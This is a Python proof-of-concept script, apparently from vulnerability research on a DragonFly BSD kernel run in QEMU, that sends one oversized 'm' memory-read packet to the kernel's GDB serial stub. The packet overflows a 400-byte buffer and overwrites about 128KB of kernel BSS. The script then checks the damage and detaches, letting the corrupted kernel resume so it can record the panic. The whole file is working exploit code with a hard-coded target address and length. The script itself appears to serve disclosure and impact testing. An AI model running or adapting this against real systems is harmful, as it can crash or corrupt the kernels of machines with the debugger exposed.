DF-2362 / exp_m_smash.py
#!/usr/bin/env python3 # exp_m_smash.py -- DF-2362 impact demo: single 'm' packet with large length # smashes ~128KB of kernel BSS past remcomOutBuffer, then resume the kernel # and capture the fallout (panic / fatal state) on the serial console. import sys, os, time, subprocess, json sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)))) from rsp import SerialPeer, parse_t05 SOCK = os.environ.get("DF_SOCK", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/df236x/ser.sock") VMSH = os.environ.get("DF_VMSH", "/home/maxx/dfbsd/dfbsd/dfbsd-qemu/vm.sh") RAWLOG = os.environ.get("DF_RAWLOG", "/tmp/opencode/p2362smash-raw.log") ROUT = 0xffffffff817a6f20 LEN = 0x10000 # 65536 bytes -> 131073 bytes written into a 400-byte buffer def main(): results = {} p = SerialPeer(SOCK, RAWLOG, name="m-smash") try: subprocess.run([VMSH, "run_root", "sysctl -w debug.enter_debugger=gdb"], timeout=8, capture_output=True) except subprocess.TimeoutExpired: pass m = p.wait(r"\$T[0-9a-fA-F]{2}[^#]*#[0-9a-fA-F]{2}", 25) if m is None: print("[!] no T-packet"); sys.exit(2) p.send(b"+") print("[+] stub up -- sending m<ROut>,%x (writes %d bytes past a 400-byte buffer)" % (LEN, 2*LEN+1-400)) r = p.pkt("m%x,%x" % (ROUT, LEN), timeout=120) if r is None: print("[!] no reply to smash packet") results["reply_len"] = -1 else: print("[+] smash reply: %d chars returned (read side worked)" % len(r)) results["reply_len"] = len(r) results["smash_bytes_past_buf"] = 2*LEN + 1 - 400 # verify a spot ~64KB past the buffer is now hex-alphabet garbage spot = p.read_mem(ROUT + 400 + 0x8000, 64) if spot: hexset = set(b"0123456789abcdef") frac = sum(1 for c in spot if c in hexset) / len(spot) print("[%s] spot check at ROut+400+0x8000: %s (hex-alphabet fraction %.2f)" % ("+" if frac > 0.9 else "-", spot.hex(), frac)) results["spot_hexfrac"] = frac d = p.pkt("D", timeout=10) print("[+] detach -> %r ; kernel resumes with corrupted BSS" % d) # capture the fallout m = p.wait(r"panic|Fatal trap|db: |Stopping|fatal", 90) time.sleep(5) p.pump() tail = bytes(p.buf[-3000:]) print("[*] serial tail after resume:\n%s" % tail.decode(errors="replace")) results["fallout"] = "panic" if (b"panic" in tail or b"Fatal trap" in tail) else "no-immediate-panic" print("[RESULT] " + json.dumps(results)) p.close() sys.exit(0) if __name__ == "__main__": main() |